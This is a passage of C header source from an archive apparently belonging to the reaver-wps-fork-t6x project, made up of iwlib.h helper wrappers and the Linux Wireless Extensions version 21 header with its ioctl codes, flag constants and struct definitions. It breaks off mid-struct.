****************************/ /* Modes as human readable strings */ extern const char * const iw_operation_mode[]; #define IW_NUM_OPER_MODE 7 #define IW_NUM_OPER_MODE_EXT 8 /* Modulations as human readable strings */ extern const struct iw_modul_descr iw_modul_list[]; #define IW_SIZE_MODUL_LIST 16 /************************* INLINE FUNTIONS *************************/ /* * Functions that are so simple that it's more efficient inlining them */ /* * Note : I've defined wrapper for the ioctl request so that * it will be easier to migrate to other kernel API if needed */ /*------------------------------------------------------------------*/ /* * Wrapper to push some Wireless Parameter in the driver */ static int iw_set_ext(int skfd, /* Socket to the kernel */ const char * ifname, /* Device name */ int request, /* WE ID */ struct iwreq * pwrq) /* Fixed part of the request */ { /* Set device name */ strncpy(pwrq->ifr_ifrn.ifrn_name, ifname, IFNAMSIZ); /* Do the request */ return(ioctl(skfd, request, pwrq)); } /*------------------------------------------------------------------*/ /* * Wrapper to extract some Wireless Parameter out of the driver */ static int iw_get_ext(int skfd, /* Socket to the kernel */ const char * ifname, /* Device name */ int request, /* WE ID */ struct iwreq * pwrq) /* Fixed part of the request */ { /* Set device name */ strncpy(pwrq->ifr_ifrn.ifrn_name, ifname, IFNAMSIZ); /* Do the request */ return(ioctl(skfd, request, pwrq)); } /*------------------------------------------------------------------*/ /* * Close the socket used for ioctl. */ static inline void iw_sockets_close(int skfd) { close(skfd); } /*------------------------------------------------------------------*/ /* * Display an Ethernet Socket Address in readable format. */ static inline char * iw_saether_ntop(const struct sockaddr *sap, char* bufp) { iw_ether_ntop((const struct ether_addr *) sap->sa_data, bufp); return bufp; } /*------------------------------------------------------------------*/ /* * Input an Ethernet Socket Address and convert to binary. */ static inline int iw_saether_aton(const char *bufp, struct sockaddr *sap) { sap->sa_family = ARPHRD_ETHER; return iw_ether_aton(bufp, (struct ether_addr *) sap->sa_data); } /*------------------------------------------------------------------*/ /* * Create an Ethernet broadcast address */ static inline void iw_broad_ether(struct sockaddr *sap) { sap->sa_family = ARPHRD_ETHER; memset((char *) sap->sa_data, 0xFF, ETH_ALEN); } /*------------------------------------------------------------------*/ /* * Create an Ethernet NULL address */ static inline void iw_null_ether(struct sockaddr *sap) { sap->sa_family = ARPHRD_ETHER; memset((char *) sap->sa_data, 0x00, ETH_ALEN); } /*------------------------------------------------------------------*/ /* * Compare two ethernet addresses */ static inline int iw_ether_cmp(const struct ether_addr* eth1, const struct ether_addr* eth2) { return memcmp(eth1, eth2, sizeof(*eth1)); } #ifdef __cplusplus } #endif #endif /* IWLIB_H */ reaver-wps-fork-t6x-1.6.6/src/lwe/wireless.21.h000077500000000000000000001237261363372615500211330ustar00rootroot00000000000000/* * This file define a set of standard wireless extensions * * Version : 21 14.3.06 * * Authors : Jean Tourrilhes - HPL - * Copyright (c) 1997-2005 Jean Tourrilhes, All Rights Reserved. */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H #include /************************** DOCUMENTATION **************************/ /* * Initial APIs (1996 -> onward) : * ----------------------------- * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * # net/core/dev.c (two place + add include) * # net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * # net/core/dev.c (two other places) * # include/linux/netdevice.h (one place) * # include/linux/proc_fs.h (one place) * * New driver API (2002 -> onward) : * ------------------------------- * This file is only concerned with the user space API and common definitions. * The new driver API is defined and documented in : * # include/net/iw_handler.h * * Note as well that /proc/net/wireless implementation has now moved in : * # net/core/wireless.c * * Wireless Events (2002 -> onward) : * -------------------------------- * Events are defined at the end of this file, and implemented in : * # net/core/wireless.c * * Other comments : * -------------- * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ /* This header is used in user-space, therefore need to be sanitised * for that purpose. Those includes are usually not compatible with glibc. * To know which includes to use in user-space, check iwlib.h. */ /***************************** VERSION *****************************/ /* * This constant is used to know the availability of the wireless * extensions and to know which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 21 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) * * V10 to V11 * ---------- * - Add WE version in range (help backward/forward compatibility) * - Add retry ioctls (work like PM) * * V11 to V12 * ---------- * - Add SIOCSIWSTATS to get /proc/net/wireless programatically * - Add DEV PRIVATE IOCTL to avoid collisions in SIOCDEVPRIVATE space * - Add new statistics (frag, retry, beacon) * - Add average quality (for user space calibration) * * V12 to V13 * ---------- * - Document creation of new driver API. * - Extract union iwreq_data from struct iwreq (for new driver API). * - Rename SIOCSIWNAME as SIOCSIWCOMMIT * * V13 to V14 * ---------- * - Wireless Events support : define struct iw_event * - Define additional specific event numbers * - Add "addr" and "param" fields in union iwreq_data * - AP scanning stuff (SIOCSIWSCAN and friends) * * V14 to V15 * ---------- * - Add IW_PRIV_TYPE_ADDR for struct sockaddr private arg * - Make struct iw_freq signed (both m & e), add explicit padding * - Add IWEVCUSTOM for driver specific event/scanning token * - Add IW_MAX_GET_SPY for driver returning a lot of addresses * - Add IW_TXPOW_RANGE for range of Tx Powers * - Add IWEVREGISTERED & IWEVEXPIRED events for Access Points * - Add IW_MODE_MONITOR for passive monitor * * V15 to V16 * ---------- * - Increase the number of bitrates in iw_range to 32 (for 802.11g) * - Increase the number of frequencies in iw_range to 32 (for 802.11b+a) * - Reshuffle struct iw_range for increases, add filler * - Increase IW_MAX_AP to 64 for driver returning a lot of addresses * - Remove IW_MAX_GET_SPY because conflict with enhanced spy support * - Add SIOCSIWTHRSPY/SIOCGIWTHRSPY and "struct iw_thrspy" * - Add IW_ENCODE_TEMP and iw_range->encoding_login_index * * V16 to V17 * ---------- * - Add flags to frequency -> auto/fixed * - Document (struct iw_quality *)->updated, add new flags (INVALID) * - Wireless Event capability in struct iw_range * - Add support for relative TxPower (yick !) * * V17 to V18 (From Jouni Malinen ) * ---------- * - Add support for WPA/WPA2 * - Add extended encoding configuration (SIOCSIWENCODEEXT and * SIOCGIWENCODEEXT) * - Add SIOCSIWGENIE/SIOCGIWGENIE * - Add SIOCSIWMLME * - Add SIOCSIWPMKSA * - Add struct iw_range bit field for supported encoding capabilities * - Add optional scan request parameters for SIOCSIWSCAN * - Add SIOCSIWAUTH/SIOCGIWAUTH for setting authentication and WPA * related parameters (extensible up to 4096 parameter values) * - Add wireless events: IWEVGENIE, IWEVMICHAELMICFAILURE, * IWEVASSOCREQIE, IWEVASSOCRESPIE, IWEVPMKIDCAND * * V18 to V19 * ---------- * - Remove (struct iw_point *)->pointer from events and streams * - Remove header includes to help user space * - Increase IW_ENCODING_TOKEN_MAX from 32 to 64 * - Add IW_QUAL_ALL_UPDATED and IW_QUAL_ALL_INVALID macros * - Add explicit flag to tell stats are in dBm : IW_QUAL_DBM * - Add IW_IOCTL_IDX() and IW_EVENT_IDX() macros * * V20 to V21 * ---------- * - Remove (struct net_device *)->get_wireless_stats() * - Change length in ESSID and NICK to strlen() instead of strlen()+1 * - Add SIOCSIWMODUL/SIOCGIWMODUL for modulation setting * - Add IW_RETRY_SHORT/IW_RETRY_LONG retry modifiers * - Add IW_POWER_SAVING power type * - Power/Retry relative values no longer * 100000 * - Add bitrate flags for unicast/broadcast */ /**************************** CONSTANTS ****************************/ /* -------------------------- IOCTL LIST -------------------------- */ /* Wireless Identification */ #define SIOCSIWCOMMIT 0x8B00 /* Commit pending changes to driver */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ /* SIOCGIWNAME is used to verify the presence of Wireless Extensions. * Common values : "IEEE 802.11-DS", "IEEE 802.11-FH", "IEEE 802.11b"... * Don't put the name of your driver there, it's useless. */ /* Basic operations */ #define SIOCSIWNWID 0x8B02 /* set network id (pre-802.11) */ #define SIOCGIWNWID 0x8B03 /* get network id (the cell) */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ #define SIOCSIWSTATS 0x8B0E /* Unused */ #define SIOCGIWSTATS 0x8B0F /* Get /proc/net/wireless stats */ /* SIOCGIWSTATS is strictly used between user space and the kernel, and * is never passed to the driver (i.e. the driver will never see it). */ /* Spy support (statistics per MAC address - used for Mobile IP support) */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ #define SIOCSIWTHRSPY 0x8B12 /* set spy threshold (spy event) */ #define SIOCGIWTHRSPY 0x8B13 /* get spy threshold */ /* Access Point manipulation */ #define SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* Deprecated in favor of scanning */ #define SIOCSIWSCAN 0x8B18 /* trigger scanning (list cells) */ #define SIOCGIWSCAN 0x8B19 /* get scanning results */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... */ /* Other parameters useful in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ #define SIOCSIWRETRY 0x8B28 /* set retry limits and lifetime */ #define SIOCGIWRETRY 0x8B29 /* get retry limits and lifetime */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* Modulation bitmask */ #define SIOCSIWMODUL 0x8B2E /* set Modulations settings */ #define SIOCGIWMODUL 0x8B2F /* get Modulations settings */ /* WPA : Generic IEEE 802.11 informatiom element (e.g., for WPA/RSN/WMM). * This ioctl uses struct iw_point and data buffer that includes IE id and len * fields. More than one IE may be included in the request. Setting the generic * IE to empty buffer (len=0) removes the generic IE from the driver. Drivers * are allowed to generate their own WPA/RSN IEs, but in these cases, drivers * are required to report the used IE as a wireless event, e.g., when * associating with an AP. */ #define SIOCSIWGENIE 0x8B30 /* set generic IE */ #define SIOCGIWGENIE 0x8B31 /* get generic IE */ /* WPA : IEEE 802.11 MLME requests */ #define SIOCSIWMLME 0x8B16 /* request MLME operation; uses * struct iw_mlme */ /* WPA : Authentication mode parameters */ #define SIOCSIWAUTH 0x8B32 /* set authentication mode params */ #define SIOCGIWAUTH 0x8B33 /* get authentication mode params */ /* WPA : Extended version of encoding configuration */ #define SIOCSIWENCODEEXT 0x8B34 /* set encoding token & mode */ #define SIOCGIWENCODEEXT 0x8B35 /* get encoding token & mode */ /* WPA2 : PMKSA cache management */ #define SIOCSIWPMKSA 0x8B36 /* PMKSA cache operation */ /* -------------------- DEV PRIVATE IOCTL LIST -------------------- */ /* These 32 ioctl are wireless device private, for 16 commands. * Each driver is free to use them for whatever purpose it chooses, * however the driver *must* export the description of those ioctls * with SIOCGIWPRIV and *must* use arguments as defined below. * If you don't follow those rules, DaveM is going to hate you (reason : * it make mixed 32/64bit operation impossible). */ #define SIOCIWFIRSTPRIV 0x8BE0 #define SIOCIWLASTPRIV 0x8BFF /* Previously, we were using SIOCDEVPRIVATE, but we now have our * separate range because of collisions with other tools such as * 'mii-tool'. * We now have 32 commands, so a bit more space ;-). * Also, all 'odd' commands are only usable by root and don't return the * content of ifr/iwr to user (but you are not obliged to use the set/get * convention, just use every other two command). More details in iwpriv.c. * And I repeat : you are not forced to use them with iwpriv, but you * must be compliant with it. */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST SIOCIWLASTPRIV /* 0x8BFF */ #define IW_IOCTL_IDX(cmd) ((cmd) - SIOCIWFIRST) /* Even : get (world access), odd : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ----------------------- WIRELESS EVENTS ----------------------- */ /* Those are *NOT* ioctls, do not issue request on them !!! */ /* Most events use the same identifier as ioctl requests */ #define IWEVTXDROP 0x8C00 /* Packet dropped to excessive retry */ #define IWEVQUAL 0x8C01 /* Quality part of statistics (scan) */ #define IWEVCUSTOM 0x8C02 /* Driver specific ascii string */ #define IWEVREGISTERED 0x8C03 /* Discovered a new node (AP mode) */ #define IWEVEXPIRED 0x8C04 /* Expired a node (AP mode) */ #define IWEVGENIE 0x8C05 /* Generic IE (WPA, RSN, WMM, ..) * (scan results); This includes id and * length fields. One IWEVGENIE may * contain more than one IE. Scan * results may contain one or more * IWEVGENIE events. */ #define IWEVMICHAELMICFAILURE 0x8C06 /* Michael MIC failure * (struct iw_michaelmicfailure) */ #define IWEVASSOCREQIE 0x8C07 /* IEs used in (Re)Association Request. * The data includes id and length * fields and may contain more than one * IE. This event is required in * Managed mode if the driver * generates its own WPA/RSN IE. This * should be sent just before * IWEVREGISTERED event for the * association. */ #define IWEVASSOCRESPIE 0x8C08 /* IEs used in (Re)Association * Response. The data includes id and * length fields and may contain more * than one IE. This may be sent * between IWEVASSOCREQIE and * IWEVREGISTERED events for the * association. */ #define IWEVPMKIDCAND 0x8C09 /* PMKID candidate for RSN * pre-authentication * (struct iw_pmkid_cand) */ #define IWEVFIRST 0x8C00 #define IW_EVENT_IDX(cmd) ((cmd) - IWEVFIRST) /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCIWFIRSTPRIV -> SIOCIWLASTPRIV */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 /* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 /* struct iw_freq */ #define IW_PRIV_TYPE_ADDR 0x6000 /* struct sockaddr */ #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed number of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 32 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 32 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Note : if you more than 8 TXPowers, just set the max and min or * a few of them in the struct iw_range. */ /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 64 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ #define IW_MODE_MONITOR 6 /* Passive monitor (listen only) */ /* Statistics flags (bitmask in updated) */ #define IW_QUAL_QUAL_UPDATED 0x01 /* Value was updated since last read */ #define IW_QUAL_LEVEL_UPDATED 0x02 #define IW_QUAL_NOISE_UPDATED 0x04 #define IW_QUAL_ALL_UPDATED 0x07 #define IW_QUAL_DBM 0x08 /* Level + Noise are dBm */ #define IW_QUAL_QUAL_INVALID 0x10 /* Driver doesn't provide value */ #define IW_QUAL_LEVEL_INVALID 0x20 #define IW_QUAL_NOISE_INVALID 0x40 #define IW_QUAL_RCPI 0x80 /* Level + Noise are 802.11k RCPI */ #define IW_QUAL_ALL_INVALID 0x70 /* Frequency flags */ #define IW_FREQ_AUTO 0x00 /* Let the driver decides */ #define IW_FREQ_FIXED 0x01 /* Force a specific value */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 64 /* 512 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ #define IW_ENCODE_TEMP 0x0400 /* Temporary key */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter */ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_SAVING 0x4000 /* Value is relative (how aggressive)*/ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_TYPE 0x00FF /* Type of value */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ #define IW_TXPOW_RELATIVE 0x0002 /* Value is in arbitrary units */ #define IW_TXPOW_RANGE 0x1000 /* Range of value between min/max */ /* Retry limits and lifetime flags available */ #define IW_RETRY_ON 0x0000 /* No details... */ #define IW_RETRY_TYPE 0xF000 /* Type of parameter */ #define IW_RETRY_LIMIT 0x1000 /* Maximum number of retries*/ #define IW_RETRY_LIFETIME 0x2000 /* Maximum duration of retries in us */ #define IW_RETRY_MODIFIER 0x00FF /* Modify a parameter */ #define IW_RETRY_MIN 0x0001 /* Value is a minimum */ #define IW_RETRY_MAX 0x0002 /* Value is a maximum */ #define IW_RETRY_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ #define IW_RETRY_SHORT 0x0010 /* Value is for short packets */ #define IW_RETRY_LONG 0x0020 /* Value is for long packets */ /* Scanning request flags */ #define IW_SCAN_DEFAULT 0x0000 /* Default scan of the driver */ #define IW_SCAN_ALL_ESSID 0x0001 /* Scan all ESSIDs */ #define IW_SCAN_THIS_ESSID 0x0002 /* Scan only this ESSID */ #define IW_SCAN_ALL_FREQ 0x0004 /* Scan all Frequencies */ #define IW_SCAN_THIS_FREQ 0x0008 /* Scan only this Frequency */ #define IW_SCAN_ALL_MODE 0x0010 /* Scan all Modes */ #define IW_SCAN_THIS_MODE 0x0020 /* Scan only this Mode */ #define IW_SCAN_ALL_RATE 0x0040 /* Scan all Bit-Rates */ #define IW_SCAN_THIS_RATE 0x0080 /* Scan only this Bit-Rate */ /* struct iw_scan_req scan_type */ #define IW_SCAN_TYPE_ACTIVE 0 #define IW_SCAN_TYPE_PASSIVE 1 /* Maximum size of returned data */ #define IW_SCAN_MAX_DATA 4096 /* In bytes */ /* Max number of char in custom event - use multiple of them if needed */ #define IW_CUSTOM_MAX 256 /* In bytes */ /* Generic information element */ #define IW_GENERIC_IE_MAX 1024 /* MLME requests (SIOCSIWMLME / struct iw_mlme) */ #define IW_MLME_DEAUTH 0 #define IW_MLME_DISASSOC 1 /* SIOCSIWAUTH/SIOCGIWAUTH struct iw_param flags */ #define IW_AUTH_INDEX 0x0FFF #define IW_AUTH_FLAGS 0xF000 /* SIOCSIWAUTH/SIOCGIWAUTH parameters (0 .. 4095) * (IW_AUTH_INDEX mask in struct iw_param flags; this is the index of the * parameter that is being set/get to; value will be read/written to * struct iw_param value field) */ #define IW_AUTH_WPA_VERSION 0 #define IW_AUTH_CIPHER_PAIRWISE 1 #define IW_AUTH_CIPHER_GROUP 2 #define IW_AUTH_KEY_MGMT 3 #define IW_AUTH_TKIP_COUNTERMEASURES 4 #define IW_AUTH_DROP_UNENCRYPTED 5 #define IW_AUTH_80211_AUTH_ALG 6 #define IW_AUTH_WPA_ENABLED 7 #define IW_AUTH_RX_UNENCRYPTED_EAPOL 8 #define IW_AUTH_ROAMING_CONTROL 9 #define IW_AUTH_PRIVACY_INVOKED 10 /* IW_AUTH_WPA_VERSION values (bit field) */ #define IW_AUTH_WPA_VERSION_DISABLED 0x00000001 #define IW_AUTH_WPA_VERSION_WPA 0x00000002 #define IW_AUTH_WPA_VERSION_WPA2 0x00000004 /* IW_AUTH_PAIRWISE_CIPHER and IW_AUTH_GROUP_CIPHER values (bit field) */ #define IW_AUTH_CIPHER_NONE 0x00000001 #define IW_AUTH_CIPHER_WEP40 0x00000002 #define IW_AUTH_CIPHER_TKIP 0x00000004 #define IW_AUTH_CIPHER_CCMP 0x00000008 #define IW_AUTH_CIPHER_WEP104 0x00000010 /* IW_AUTH_KEY_MGMT values (bit field) */ #define IW_AUTH_KEY_MGMT_802_1X 1 #define IW_AUTH_KEY_MGMT_PSK 2 /* IW_AUTH_80211_AUTH_ALG values (bit field) */ #define IW_AUTH_ALG_OPEN_SYSTEM 0x00000001 #define IW_AUTH_ALG_SHARED_KEY 0x00000002 #define IW_AUTH_ALG_LEAP 0x00000004 /* IW_AUTH_ROAMING_CONTROL values */ #define IW_AUTH_ROAMING_ENABLE 0 /* driver/firmware based roaming */ #define IW_AUTH_ROAMING_DISABLE 1 /* user space program used for roaming * control */ /* SIOCSIWENCODEEXT definitions */ #define IW_ENCODE_SEQ_MAX_SIZE 8 /* struct iw_encode_ext ->alg */ #define IW_ENCODE_ALG_NONE 0 #define IW_ENCODE_ALG_WEP 1 #define IW_ENCODE_ALG_TKIP 2 #define IW_ENCODE_ALG_CCMP 3 /* struct iw_encode_ext ->ext_flags */ #define IW_ENCODE_EXT_TX_SEQ_VALID 0x00000001 #define IW_ENCODE_EXT_RX_SEQ_VALID 0x00000002 #define IW_ENCODE_EXT_GROUP_KEY 0x00000004 #define IW_ENCODE_EXT_SET_TX_KEY 0x00000008 /* IWEVMICHAELMICFAILURE : struct iw_michaelmicfailure ->flags */ #define IW_MICFAILURE_KEY_ID 0x00000003 /* Key ID 0..3 */ #define IW_MICFAILURE_GROUP 0x00000004 #define IW_MICFAILURE_PAIRWISE 0x00000008 #define IW_MICFAILURE_STAKEY 0x00000010 #define IW_MICFAILURE_COUNT 0x00000060 /* 1 or 2 (0 = count not supported) */ /* Bit field values for enc_capa in struct iw_range */ #define IW_ENC_CAPA_WPA 0x00000001 #define IW_ENC_CAPA_WPA2 0x00000002 #define IW_ENC_CAPA_CIPHER_TKIP 0x00000004 #define IW_ENC_CAPA_CIPHER_CCMP 0x00000008 /* Event capability macros - in (struct iw_range *)->event_capa * Because we have more than 32 possible events, we use an array of * 32 bit bitmasks. Note : 32 bits = 0x20 = 2^5. */ #define IW_EVENT_CAPA_BASE(cmd) ((cmd >= SIOCIWFIRSTPRIV) ? \ (cmd - SIOCIWFIRSTPRIV + 0x60) : \ (cmd - SIOCSIWCOMMIT)) #define IW_EVENT_CAPA_INDEX(cmd) (IW_EVENT_CAPA_BASE(cmd) >> 5) #define IW_EVENT_CAPA_MASK(cmd) (1 << (IW_EVENT_CAPA_BASE(cmd) & 0x1F)) /* Event capability constants - event autogenerated by the kernel * This list is valid for most 802.11 devices, customise as needed... */ #define IW_EVENT_CAPA_K_0 (IW_EVENT_CAPA_MASK(0x8B04) | \ IW_EVENT_CAPA_MASK(0x8B06) | \ IW_EVENT_CAPA_MASK(0x8B1A)) #define IW_EVENT_CAPA_K_1 (IW_EVENT_CAPA_MASK(0x8B2A)) /* "Easy" macro to set events in iw_range (less efficient) */ #define IW_EVENT_CAPA_SET(event_capa, cmd) (event_capa[IW_EVENT_CAPA_INDEX(cmd)] |= IW_EVENT_CAPA_MASK(cmd)) #define IW_EVENT_CAPA_SET_KERNEL(event_capa) {event_capa[0] |= IW_EVENT_CAPA_K_0; event_capa[1] |= IW_EVENT_CAPA_K_1; } /* Modulations bitmasks */ #define IW_MODUL_ALL 0x00000000 /* Everything supported */ #define IW_MODUL_FH 0x00000001 /* Frequency Hopping */ #define IW_MODUL_DS 0x00000002 /* Original Direct Sequence */ #define IW_MODUL_CCK 0x00000004 /* 802.11b : 5.5 + 11 Mb/s */ #define IW_MODUL_11B (IW_MODUL_DS | IW_MODUL_CCK) #define IW_MODUL_PBCC 0x00000008 /* TI : 5.5 + 11 + 22 Mb/s */ #define IW_MODUL_OFDM_A 0x00000010 /* 802.11a : 54 Mb/s */ #define IW_MODUL_11A (IW_MODUL_OFDM_A) #define IW_MODUL_11AB (IW_MODUL_11B | IW_MODUL_11A) #define IW_MODUL_OFDM_G 0x00000020 /* 802.11g : 54 Mb/s */ #define IW_MODUL_11G (IW_MODUL_11B | IW_MODUL_OFDM_G) #define IW_MODUL_11AG (IW_MODUL_11G | IW_MODUL_11A) #define IW_MODUL_TURBO 0x00000040 /* ATH : bonding, 108 Mb/s */ /* In here we should define MIMO stuff. Later... */ #define IW_MODUL_CUSTOM 0x40000000 /* Driver specific */ /* Bitrate flags available */ #define IW_BITRATE_TYPE 0x00FF /* Type of value */ #define IW_BITRATE_UNICAST 0x0001 /* Maximum/Fixed unicast bitrate */ #define IW_BITRATE_BROADCAST 0x0002 /* Fixed broadcast bitrate */ /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { int32_t value; /* The value of the parameter itself */ uint8_t fixed; /* Hardware should not use auto select */ uint8_t disabled; /* Disable the feature */ uint16_t flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory allocated in user space. */ struct iw_point { void *pointer; /* Pointer to the data (in user space) */ uint16_t length; /* number of fields or size in bytes */ uint16_t flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { int32_t m; /* Mantissa */ int16_t e; /* Exponent */ 